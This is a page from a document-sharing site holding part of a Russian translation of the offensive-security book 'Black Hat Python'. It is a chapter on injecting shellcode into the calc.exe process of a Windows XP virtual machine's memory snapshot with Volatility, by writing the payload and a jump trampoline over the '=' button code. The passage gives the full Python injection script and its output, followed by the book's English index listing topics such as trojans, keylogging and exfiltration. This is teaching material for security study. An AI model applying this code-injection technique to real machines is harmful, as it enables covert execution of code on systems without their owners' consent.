Главная страница

Установка Kali Linux


Скачать 2.4 Mb.
НазваниеУстановка Kali Linux
АнкорBlack
Дата15.03.2022
Размер2.4 Mb.
Формат файлаpdf
Имя файлаBlack_Hat_Python_RUS.pdf
ТипДокументы
#398533
страница11 из 13
1   ...   5   6   7   8   9   10   11   12   13
Volatility, чтобы провернуть это грязное дельце.
Это будет многоэтапный процесс. Сначала нам будет нужно просканировать память, чтобы найти процесс calc.exe, а затем пройтись по его объему памяти, чтобы найти место, куда внедрить шелл-код, а также найти физическое смещение в снимке RAM, который содержит функцию, найденную нами ранее. Затем мы вставим небольшой переход в функцию адреса для кнопки =, которая «перпрыгнет» в наш шелл-код и исполнит его. Шелл-код в этом примере я взял из своего выступления на канадско конференции по безопасности. Этот шелл- код использует жестко закодированные смещения, поэтому у вас расстояние может быть отличаться [27].
Открываем новый файл, называем его code_inject.py и вбиваем следующий код. importimportsys struct equals_button = 0x01005D51
memory_file = "WinXPSP2.vmem"
slack_space = None trampoline_offset = None
# read in our shellcode sc_fd = open("cmeasure.bin","rb")

sc = sc_fd.read()
sc_fd.close()
sys.path.append("/Users/justin/Downloads/volatility­2.3.1")
import volatility.conf as conf import volatility.registry as registry registry.PluginImporter()
config = conf.ConfObject()
import volatility.commands as commands import volatility.addrspace as addrspace
registry.register_global_options(config, commands.Command)
registry.register_global_options(config, addrspace.BaseAddressSpace)
config.parse_options()
config.PROFILE = "WinXPSP2x86"
config.LOCATION = "file://%s" % memory_file

Этот код настройки идентичен предыдущему коду, который мы писали, за исключением, что мы считываем шелл-код , который будем внедрять в виртуальную машину.

Теперь, давайте добавим оставшийся код на место, чтобы непосредственно осуществить внедрение. import volatility.plugins.taskmods as taskmods p = taskmods.PSList(config)

for process in p.calculate():

if str(process.ImageFileName) == "calc.exe":
print "[*] Found calc.exe with PID %d" % process.UniqueProcessId print "[*] Hunting for physical offsets...please wait."
address_space = process.get_process_address_space()

pages = address_space.get_available_pages()

Сначала мы создали новый класс
PSList и передали текущую конфигурацию. Модуль

PSList отвечает за просмотр всех работающих процессов, обнаруженных в снимке памяти.
Мы перебираем каждый процесс и если обнаруживаем

calc.exe, то получаем его полное адресное пространство и все страницы памяти этого процесса .


Сейчас мы просмотрим страницы памяти, чтобы найти часть памяти такого же размера, как и наш шелл-код, заполненный нулями. Мы также ищем виртуальный адрес дескриптора нашей кнопки =, чтобы мы смогли прописать наш трамплин. Введите следующий код и не забудьте об отступах. for page in pages:
physical = address_space.vtop(page[0])

if physical is not None:
if slack_space is None:
fd = open(memory_file,"r+")

fd.seek(physical)
buf = fd.read(page[1])
try:

offset = buf.index("\x00" * len(sc))
slack_space = page[0] + offset print "[*] Found good shellcode location!"
print "[*] Virtual address: 0x%08x" % slack_space print "[*] Physical address: 0x%08x" % (physical.
+ offset)
print "[*] Injecting shellcode."
fd.seek(physical + offset)

fd.write(sc)
fd.flush()
# create our trampoline

tramp = "\xbb%s" % struct.pack(" tramp += "\xff\xe3"
if trampoline_offset is not None:
break except:
pass
fd.close()
# check for our target code location

if page[0] <= equals_button and .
equals_button < ((page[0] + page[1])­7):
print "[*] Found our trampoline target at: 0x%08x" .
% (physical)
# calculate virtual offset

v_offset = equals_button ­ page[0]
# now calculate physical offset trampoline_offset = physical + v_offset print "[*] Found our trampoline target at: 0x%08x" .
% (trampoline_offset)
if slack_space is not None:
break print "[*] Writing trampoline..."
fd = open(memory_file, "r+")

fd.seek(trampoline_offset)
fd.write(tramp)
fd.close()
print "[*] Done injecting code."
Отлично! Теперь давайте разберем, что делает этот код. Когда мы перебираем каждую станицу, код возвращает двучленный список, где page [0]
— это адрес страницы, а page
[1]
— это размер страницы в байтах. Когда мы просматриваем каждую страницу памяти, сначала мы находим физическое смещение (смещение в снимке RAM на диске) там, где

лежит страница. Открываем снимок RAM , ищем смещение и затем считываем всю

страницу памяти. Затем мы пытаемся найти фрагмент NULL-байтов такого же размера,

как и наш шелл-код. Именно здесь мы прописываем шелл-код в снимок RAM . Как только

мы нашли подходящее место и внедрили шелл-код, мы берем адрес нашего шелл-кода и создаем небольшой фрагмент опкодов в х86. Эти опкоды выдают следующую сборку:

mov ebx, ADDRESS_OF_SHELLCODE
jmp ebx
Не забывайте, что вы можете использовать функцию разбиения в Volatility, чтобы убедиться, что вы распределили байты в нужном вам количестве, и затем восстановить эти байты в своем шелл-коде. Это останется вашим домашним заданием.
Последняя часть нашего кода — это проверка, осталась ли функция кнопки = на странице, где мы осуществляем итерацию . Если мы находим ее, то вычисляем смещение , а затем


выписываем наш трамплин . Трамплин на месте, значит должно осуществиться

исполнение шелл-кода, который мы поместили в снимок RAM.

Проверка на деле
Первый шаг — закрыть Immunity Debugger, если он все еще запущен и закрыть все экземпляры calc.exe. Теперь запускаем calc.exe и ваш скрипт внедрения кода. Вы должны увидеть примерно такой результат:
$ python code_inject.py
[*] Found calc.exe with PID 1936
[*] Hunting for physical offsets...please wait.
[*] Found good shellcode location!
[*] Virtual address: 0x00010817
[*] Physical address: 0x33155817
[*] Injecting shellcode.
[*] Found our trampoline target at: 0x3abccd51
[*] Writing trampoline...
[*] Done injecting code.
Замечательно! Это должно указывать на то, что вы нашли все смещения и внедрили шелл- код. Для проверки, просто зайдите в свою виртуальную машину, наберите
3+3 и нажмите кнопку =. Появится сообщение.
Теперь вы можете попробовать сделать обратное проектирование в отношении других приложений или сервисов. Можно также улучшить этот способ и попробовать провести манипуляцию в объектами ядра, которые могут имитировать поведение руткита. Это отличные способы, чтобы познакомиться с компьютерно-техническим анализом памяти или применять их в ситуациях, когда у вас есть физический доступ к машине или вы находитесь на сервере с несколькими виртуальными машинами.
[26] Скачайте Immunity Debugger здесь: http://debugger.immunityinc.com/
[27] Если вы хотите написать свой MessageBox шелл-код, см. эту инструкцию: https://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32
shellcoding/

Алфавитный указатель
A
Address Resolution Protocol, ARP Cache Poisoning with Scapy (see ARP cache poisoning)
AdjustTokenPrivileges function, Windows Token Privileges
AF_INET parameter, The Network: Basics
ARP (Address Resolution Protocol) cache poisoning, ARP Cache Poisoning with Scapy, ARP Cache
Poisoning with Scapy, ARP Cache Poisoning with Scapy, ARP Cache Poisoning with Scapy, ARP
Cache Poisoning with Scapy adding supporting functions, ARP Cache Poisoning with Scapy coding poisoning script, ARP Cache Poisoning with Scapy inspecting cache, ARP Cache Poisoning with Scapy testing, ARP Cache Poisoning with Scapy
B
BHPFuzzer class, Burp Fuzzing
Bing search engine, Kicking the Tires, Bing for Burp, Bing for Burp, Bing for Burp, Bing for Burp,
Bing for Burp defining extender class, Bing for Burp functionality to parse results, Bing for Burp functionality to perform query, Bing for Burp testing, Bing for Burp, Bing for Burp bing_menu function, Bing for Burp bing_search function, Bing for Burp
Biondi, Philippe, Owning the Network with Scapy
BitBlt function, Taking Screenshots
Browser Helper Objects, Creating the Server brute force attacks, Kicking the Tires, Brute-Forcing Directories and File Locations, Brute-Forcing
Directories and File Locations, Brute-Forcing Directories and File Locations, Brute-Forcing
Directories and File Locations, Brute-Forcing Directories and File Locations, Brute-Forcing HTML
Form Authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML Form
Authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML Form
Authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML Form
Authentication, Kicking the Tires in HTML form authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML
Form Authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML Form
Authentication, Brute-Forcing HTML Form Authentication, Brute-Forcing HTML Form

Authentication, Brute-Forcing HTML Form Authentication, Kicking the Tires administrator login form, Brute-Forcing HTML Form Authentication general settings, Brute-Forcing HTML Form Authentication
HTML parsing class, Brute-Forcing HTML Form Authentication pasting in wordlist, Brute-Forcing HTML Form Authentication primary brute-forcing class, Brute-Forcing HTML Form Authentication request flow, Brute-Forcing HTML Form Authentication testing, Kicking the Tires on directories and file locations, Kicking the Tires, Brute-Forcing Directories and File Locations,
Brute-Forcing Directories and File Locations, Brute-Forcing Directories and File Locations,
Brute-Forcing Directories and File Locations, Brute-Forcing Directories and File Locations applying list of extensions to test for, Brute-Forcing Directories and File Locations creating list of extensions, Brute-Forcing Directories and File Locations creating Queue objects out of wordlist files, Brute-Forcing Directories and File Locations setting up wordlist, Brute-Forcing Directories and File Locations testing, Brute-Forcing Directories and File Locations build_wordlist function, Brute-Forcing HTML Form Authentication
Burp Extender API, Extending Burp Proxy, Extending Burp Proxy, Extending Burp Proxy, Burp
Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing,
Burp
Fuzzing, Kicking the Tires, Kicking the Tires, Kicking the Tires, Kicking the Tires, Bing for Burp,
Bing for Burp, Bing for Burp, Bing for Burp, Bing for Burp, Turning Website Content into
Password
Gold, Turning Website Content into Password Gold, Turning Website Content into Password Gold,
Turning Website Content into Password Gold, Turning Website Content into Password Gold creating password-guessing wordlist, Turning Website Content into Password Gold, Turning
Website Content into Password Gold, Turning Website Content into Password Gold, Turning
Website Content into Password Gold, Turning Website Content into Password Gold converting selected HTTP traffic into wordlist, Turning Website Content into Password Gold functionality to display wordlist, Turning Website Content into Password Gold testing, Turning Website Content into Password Gold, Turning Website Content into Password
Gold creating web application fuzzers, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp
Fuzzing, Burp Fuzzing, Kicking the Tires, Kicking the Tires, Kicking the Tires accessing Burp documentation, Burp Fuzzing
implementing code to meet requirements, Burp Fuzzing loading extension, Burp Fuzzing, Burp Fuzzing simple fuzzer, Burp Fuzzing using extension in attacks, Kicking the Tires, Kicking the Tires, Kicking the Tires installing, Extending Burp Proxy, Burp Fuzzing interfacing with Bing API to show all virtual hosts, Kicking the Tires, Bing for Burp, Bing for
Burp, Bing for Burp, Bing for Burp, Bing for Burp defining extender class, Bing for Burp functionality to parse results, Bing for Burp functionality to perform query, Bing for Burp testing, Bing for Burp, Bing for Burp
Jython standalone JAR file, Extending Burp Proxy, Burp Fuzzing
BurpExtender class, Burp Fuzzing
C
Cain and Abel, Kicking the Tires
CANVAS, Pythonic Shellcode Execution, Pythonic Shellcode Execution channel method, SSH Tunneling
ClientConnected message, SSH with Paramiko code injection, Kicking the Tires, Direct Code Injection offensive forensics automation, Direct Code Injection
Windows privilege escalation, Kicking the Tires config directory, Github Command and Control connect_to_github function, Building a Github-Aware Trojan
Content-Length header, Man-in-the-Browser (Kind Of)
count parameter, Owning the Network with Scapy createMenuItem function, Bing for Burp createNewInstance function, Burp Fuzzing
CreateProcess function, Creating a Process Monitor
CredRequestHandler class, Man-in-the-Browser (Kind Of)
ctypes module, Decoding the IP Layer
D
data directory, Github Command and Control
Debug Probe tab, WingIDE, WingIDE
Destination Unreachable message, Kicking the Tires, Decoding ICMP
DirBuster project, Kicking the Tires
dir_bruter function, Brute-Forcing Directories and File Locations display_wordlist function, Turning Website Content into Password Gold
E
easy_install function, Installing Kali Linux
El Jefe project, Creating a Process Monitor encrypt_post function, IE COM Automation for Exfiltration encrypt_string function, IE COM Automation for Exfiltration environment setup, Setting Up Your Python Environment, Installing Kali Linux, Installing Kali
Linux,
Installing Kali Linux, Installing Kali Linux, Installing Kali Linux, Installing Kali Linux, Installing
Kali
Linux, Installing Kali Linux, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE,
WingIDE,
WingIDE, WingIDE, WingIDE, WingIDE
Kali Linux, Installing Kali Linux, Installing Kali Linux, Installing Kali Linux, Installing Kali
Linux,
Installing Kali Linux, Installing Kali Linux default username and password, Installing Kali Linux desktop environment, Installing Kali Linux determining version, Installing Kali Linux downloading image, Installing Kali Linux general discussion, Installing Kali Linux
WingIDE, Installing Kali Linux, Installing Kali Linux, WingIDE, WingIDE, WingIDE, WingIDE,
WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE
accessing, WingIDE
fixing missing dependencies, WingIDE
general discussion, Installing Kali Linux inspecting and modifying local variables, WingIDE, WingIDE
installing, WingIDE
opening blank Python file, WingIDE
setting breakpoints, WingIDE
setting script for debugging, WingIDE, WingIDE
viewing stack trace, WingIDE, WingIDE
Errors tab, Burp, Kicking the Tires exfiltrate function, IE COM Automation for Exfiltration
exfiltration, Creating the Server, IE COM Automation for Exfiltration, IE COM Automation for
Exfiltration, IE COM Automation for Exfiltration, IE COM Automation for Exfiltration, IE COM
Automation for Exfiltration, IE COM Automation for Exfiltration encryption routines, IE COM Automation for Exfiltration key generation script, IE COM Automation for Exfiltration login functionality, IE COM Automation for Exfiltration posting functionality, IE COM Automation for Exfiltration supporting functions, IE COM Automation for Exfiltration testing, IE COM Automation for Exfiltration
Extender tab, Burp, Burp Fuzzing, Kicking the Tires, Kicking the Tires extract_image function, PCAP Processing
F
feed method, Brute-Forcing HTML Form Authentication
Fidao, Chris, PCAP Processing
FileCookieJar class, Brute-Forcing HTML Form Authentication filter parameter, Owning the Network with Scapy find_module function, Hacking Python’s import Functionality forward SSH tunneling, Kicking the Tires, Kicking the Tires
Frisch, Dan, Windows Privilege Escalation
G
GDI (Windows Graphics Device Interface), Kicking the Tires
GET requests, The Socket Library of the Web: urllib2
GetAsyncKeyState function, Sandbox Detection
GetForeGroundWindow function, Keylogging for Fun and Keystrokes getGeneratorName function, Burp Fuzzing
GetLastInputInfo function, Sandbox Detection getNextPayload function, Burp Fuzzing
GetOwner function, Process Monitoring with WMI
GetTickCount function, Sandbox Detection
GetWindowDC function, Taking Screenshots
GetWindowTextA function, Keylogging for Fun and Keystrokes
GetWindowThreadProcessId function, Keylogging for Fun and Keystrokes get_file_contents function, Building a Github-Aware Trojan get_http_headers function, PCAP Processing get_mac function, ARP Cache Poisoning with Scapy
get_trojan_config function, Building a Github-Aware Trojan get_words function, Turning Website Content into Password Gold
GitHub-aware trojans, Github Command and Control, Github Command and Control, Creating
Modules, Trojan Configuration, Building a Github-Aware Trojan, Hacking Python’s import
Functionality, Hacking Python’s import Functionality, Kicking the Tires account setup, Github Command and Control building, Building a Github-Aware Trojan configuring, Trojan Configuration creating modules, Creating Modules hacking import functionality, Hacking Python’s import Functionality improvements and enhancements to, Kicking the Tires testing, Hacking Python’s import Functionality github3 module, Installing Kali Linux
GitImporter class, Hacking Python’s import Functionality
H
handle_client function, TCP Server handle_comment function, Turning Website Content into Password Gold handle_data function, Brute-Forcing HTML Form Authentication, Turning Website Content into
Password Gold handle_endtag function, Brute-Forcing HTML Form Authentication handle_starttag function, Brute-Forcing HTML Form Authentication
HashDump object, Grabbing Password Hashes hashdump plugin, Grabbing Password Hashes hasMorePayloads function, Burp Fuzzing hex dumping function, Building a TCP Proxy hivelist plugin, Grabbing Password Hashes
HookManager class, Keylogging for Fun and Keystrokes
1   ...   5   6   7   8   9   10   11   12   13


написать администратору сайта